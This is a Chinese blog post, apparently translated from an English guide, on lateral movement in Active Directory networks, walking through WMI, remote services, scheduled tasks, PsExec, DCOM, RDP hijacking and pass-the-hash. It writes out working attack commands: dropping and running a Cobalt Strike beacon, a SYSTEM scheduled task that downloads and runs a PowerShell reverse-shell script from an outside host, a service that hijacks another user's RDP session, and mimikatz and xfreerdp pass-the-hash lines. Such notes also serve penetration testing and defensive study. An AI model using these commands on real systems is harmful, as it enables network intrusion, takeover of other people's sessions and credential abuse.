横向移动
本文基本上译自参考链接Lateral Movement
寻找拥有访问权限的地方
使用以下一种或多种方法,将向Active Directory用户授予对通用资源的访问权限:
- 使用组策略对象(GPO)将用户添加到本地组
- 本地添加用户到本地组,可以通过net.exe完成所述功能
- 模拟一个在多个系统中使用相同密码的本地用户
- 对共享文件提供读权限
- 在AD中配置访问控制列表(ACL)
- 使用AD用户/组配置对MSSQL实例的访问
关于本地组关系,我们应该对如下几个组最感兴趣
- Administrators
- Remote Desktop Users
- Remote Management Users
- Distributed COM Users
本地组成员-盲接触
测试我们是否拥有远程机器的本地管理员权限(位于Administrator组)的最简单方法就是dir一下远程目录dir \\<TARGET>\C$
文件资源管理器直接访问也行
或者这个命令powershell.exe Get-WMIObject -Class win32_operatingsystem -Computername TARGET
不过一个个试未免显得有些愚蠢,所以可以使用PowerView(现在已经整合到PowerSploit里面去了)的命令行工具Find-LocalAdminAccess
自动化找到当前用户在该域下拥有管理员权限的机器(虽然我已经找不到整合进PowerSploit的哪里面了)
对于Remote Management Users,可以使用·Invoke-Command·这个工具检查能否在远程机器上执行命令Invoke-Command -Computername TARGET -ScriptBlock {whoami}
Administrator组的用户也可成功执行上述命令
对于Remote Desktop Users可以尝试进行一个RDP连接进行尝试
对于Remote COM Users可以使用接下来将要讲述的DCOM技术进行验证
本地组成员-组策略对象
在默认情况下,任何一个域内用户都可以读取所有的GPO内容,可以通过查看GPO来收集一些信息,且这个操作相较于之前会触发更少的报警和日志
可以使用很多工具进行GPO的分析
- PowerView
- BloodHound
使用Get-NetGPOGroup工具获得所有配置在本地的GPO
使用whoami /groups
查看自身所在的组
需要注意的是想要枚举远程的本地组需要拥有本地管理员权限
使用BloodHound时会将如下节点的关系对应到本地组成员中
BloodHound Relationship | Local Group Membership |
---|---|
CanRDP |
Remote Desktop Users |
AdminTo |
Administrators |
ExecuteDCOM |
Remote COM Users |
CanPSRemote |
Remote Management Users |
访问共享文件
使用如下命令快速列出目标机器的共享文件(同样还是可以使用文件资源管理器)net view TARGET
使用PowerView的Invoke-ShareFinder
可以自动化的列出域内所有共享文件,-CheckAccess
flag将会展示当前用户对该文件的读写权限
访问控制列表(ACL)
AD很复杂,因此我们以最直接的方式来解释ACL的概念,AD是一系列对象的数据库,而对象则分为:
- 用户
- 计算机
- 组
- 组织单元(OU)
- 组策略对象(GPO)
ACL则控制访问这些对象的权利,ACL由访问控制项组成(ACE),每一个AD object都有一个ACL确定可以在其上执行的操作
如果我们可控的一个用户通过配错了的ACL控制某些AD管理员,就能完成横向移动的目的,比如某个管理员账户允许被其他账户改密码(这是有多蠢才能配成这样。。。)
MSSQL访问
可以通过配置MSSQL服务使得其通过AD凭证进行用户认证,可以使用PowerUpSQL
工具对域内的所有MSSQL服务器进行发现并尝试与其进行接触
使用如下命令发现域内所有SQL服务器Get-SQLInstanceDomain -Verbose
或是将上一个命令管道到另一个工具中以测试我们能否访问该访问Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
WMI
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
Yes | Administrators |
N/A |
WMI全称Windows Management Instrumentation,即windows管理规范(?乱翻译的),使用WMI在远程机器上创建进程是完全可行的,且其语法十分简单,如下wmic /node:TARGET process call create "notepad.exe"
当然,只是启动一个进程完全能打穿机器,但是我们可以上传一些比如CobaltStrike生成的SMB信标,并使用WMI执行之
shell copy smb-beacon.exe \\TARGET\C$\windows\temp
shell wmic /node:TARGET process call create “c:\windows\temp\smb-beacon.exe”
link TARGET`
最后的link TARGET
命令是CobaltStrike特有的需求,使用其连接SMB信标打开的命名管道
关于SMB信标详见文末参考文章,简要的就是SMB Beacon进行正向连接,目标机器必须开启445端口,使用命名管道执行命令
当然这不是让机器上线的唯一方法,你甚至能通过一句话命令不修改硬盘的使机器上线(大概是直接载入内存?但是怎么做呢)
远程服务创建
即Remote Service Creation
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
Yes | Administrators |
N/A |
使用sc.exe 可以创建在远端机器上创建一个服务 |
copy smb-beacon.exe \\TARGET\C$\windows\temp
sc \\TARGET create TestService binpath= "C:\windows\temp\smb-beacon.exe"
sc \\TARGET start TestService
# from cobalt
link TARGET
# clean
sc \\TARGET delete TestService
和之前WMI的例子类似,上传一个SMB信标到目标机器,并创建一个服务执行信标,这里需要注意的是这里的信标需要是一个可执行的服务(?)
远程桌面协议
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
No | Remote Desktop Users |
T1076 |
RDP,如果你是一个Remote Desktop Users
组中的账户,你也许能适应RDP去登陆到目标系统
使用BloodHound的CanRDP
可以尝试使用RDP进行登录,查询所有能使用RDP登录其他机器的命令为MATCH p=()-[:MemberOf*0..]->(g:Group)-[r:CanRDP]->() RETURN p
远程PowerShell
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
No | Remote Management Users ,Administrators |
T1028 |
使用如下命令可以获取到远程交互式的Powershell | ||
Enter-PSSession -Computername TAGRET |
||
使用Invoke-Command 可以以类似的方式执行命令块 |
||
Invoke-Command -Computername TARGET -ScriptBlock {whoami /priv} |
任务管理器
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
Yes | Administrators |
N/A |
如果我们拥有远程系统的本地管理员权限,可以在目标机器上创建一个计划任务(定时任务)
使用自带的工具schtasks.exe
schtasks /create /S TARGET /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1''')'"
参数如下所示
/S TATGET
指明远端服务器/SC Weekly
设置任务执行间隔/RU
指定任务运行权限/TN
任务名/TR
任务执行的命令
PsExec
前置知识
PsExec是一个windows命令行工具,其允许管理员在远端机器上运行命令,也是渗透下使用的最多的一种远程命令执行方法(需要用户名和密码登录上去,感觉也就是个ssh)
其是Telnet的一个替代工具,如今虽然我们有PowerShell Remoting和Invoke-Command PowerShell工具,但是PsExec仍占据着自己的一席之地
其在windowsXP后的系统均受支持(好像不是内置的?)
利用
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
Yes | Administrators |
N/A |
想要使用PsExec执行命令,首先需要满足如下条件:
File and Printer sharing
必须启用(445端口开放)ADMIN$
分享需要可用
使用如下命令可以用PsExec启用一个交互式的命令提示符psexec.exe -accepteula \\TARGET cmd.exe
DCOM
Windows Distributed Component Object Model,Windows分布式组件对象模型
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
No | Remote COM Users ,Administrators |
T1175 |
使用DCOM作为横向移动的技术意味着我们正在通过RPC(remote procedure call)访问DCOM接口,DCOM接口会绑定在远程系统的一个COM对象上,如果我们找到了一个暴露了代码执行函数的DCOM接口,我们也许能使用这些函数进行横向移动
幸运的是,许多研究者已经帮我们找到了合适的DCOM对象,MMC app就是一个通过DCOM暴露了意思的函数的windows应用的例子
如下是一种通过MMC应用在远程机器上执行命令的方法
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","TARGET"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")
除了MMC以外,还有很多合适的DCOM对象可以利用,由Cybereason维护了一个很好的收集列表
New lateral movement techniques abuse DCOM technology
在默认情况下,只有Administrator组的用户能够远程访问DCOM对象,然而,在某些情况下,Remote COM User
组的用户也有使用远程DCOM执行代码的能力
使用BloodHound可以使用如下命令查看所有可以利用DCOM进行命令执行的机器MATCH p=({owned:true})-[:MemberOf*0..]->(g:Group)-[r:ExecuteDCOM|AdminTo]->() RETURN p
密码喷射
Password Spray,乱翻译的。。感觉有类似的名词,说白了就是拿一个现成的密码撞
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
No | N/A | T1110 |
可以使用DomainPasswordSpray这个工具自动化碰撞,这里要注意的是允许用户输入错误密码的次数,防止账号被锁定导致碰撞中断
文件夹重定向和漫游配置文件
原文是Folder Redirection and Roaming Profiles,后面这半边翻译不出来
在虚拟化或VDI环境中,遇上文件夹重定向和漫游配置文件是非常常见的,这项技术使管理员可以为用户的文件夹配置共享位置,我们所要做的是找到所有的重定向文件夹和漫游配置文件,并确认我们是否能写入它们。由于它们可以是常规共享文件,因此我们应该已经在最初的侦查阶段就确认了它们。
可以用来进行横向移动的技术有:
- 后门EXE
- 投放可以触发连向我们以控制机器的SMB连接的特殊文件
关于上述特殊文件的参考文章
LIVING OFF THE LAND: STEALING NETNTLM HASHES
RDP劫持
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
Yes | Administrators |
N/A |
当你拥有一个其他人用RDP登录上来的机器的管理员权限时,可以在没有他们的凭证的情况下控制他们的RDP会话
使用query user
命令查看当前活跃的会话(session)
为了获取到他人的会话,我们需要使用如下命令创建一个新的服务
sc create sessionhijack binpath= "cmd.exe /c tscon 2 /dest:rdp-tcp#7"
net start sessionhijack
参数说明:
- tscon的值为需要控制的会话ID
- /dest值为当前我们自己会话的名字
(不过他人远程登录到我这上面来了,是不是能直接mimikatz把凭证dump出来)
Pass-the-Hash
哈希传递
Requires Admin | Local Group Membership | ATTACK ID |
---|---|---|
Yes | Administrators |
T1075 |
mimikatz
经典mimikatzsekurlsa::pth /user:.\localadmin /ntlm:HASH /run:cmd.exe
获得一个对应用户的cmd
Impacket
xfreerdp
可以通过PtH来远程桌面登录到一个系统上
但只在目标型号的操作系统上生效:
- Windows Server 2012 R2
- Windows 8.1
使用xfreerdp工具完成攻击xfreerdp /u:admin /d:. /pth:hash:hash /v:TARGET
用户账户控制&用户权限分配
User Account Control & User Right Assignment
UAC中的某些设置可能导致PtH攻击无法生效,见下表
EnableLUA | LocalAccountTokenFilterPolicy | FilterAdministratorToken | Effect |
---|---|---|---|
0 | N/A | N/A | PtH可以在本地Administrator组和RID500的账户下生效 |
1 | 0 (default) | 0 (default) | 只能对RID为500的默认账户使用PtH |
1 | 0 | 1 | 无法使用PtH |
1 | 1 | 0 | 可以对任意本地admin组用户使用PtH |
UAC设置可以本地或通过GPO进行配置
在本地系统中可以使用Seatbelt
工具枚举UAC设置Seatbelt.exe UACSystemPolicies
想要枚举使用GPO配置的UAC设置,可以使用PowerView的工具
windows有另一系列的设置以阻止我们横向移动,比如URA,用户权限分配。
URA是当用户登录到系统是分配权限的设置,我们重点关注两个权限:
SeDenyNetworkLogonRight
禁止远程登录SeDenyRemoteInteractiveLogonRight
禁止用户远程桌面登录
Overpass-the-Hash
Pass-the-Ticket
详见mimikatz
参考链接
Lateral Movement
Cobalt Strike 几种不常见的上线方式
Psexec: The Ultimate Guide
New lateral movement techniques abuse DCOM technology
LIVING OFF THE LAND: STEALING NETNTLM HASHES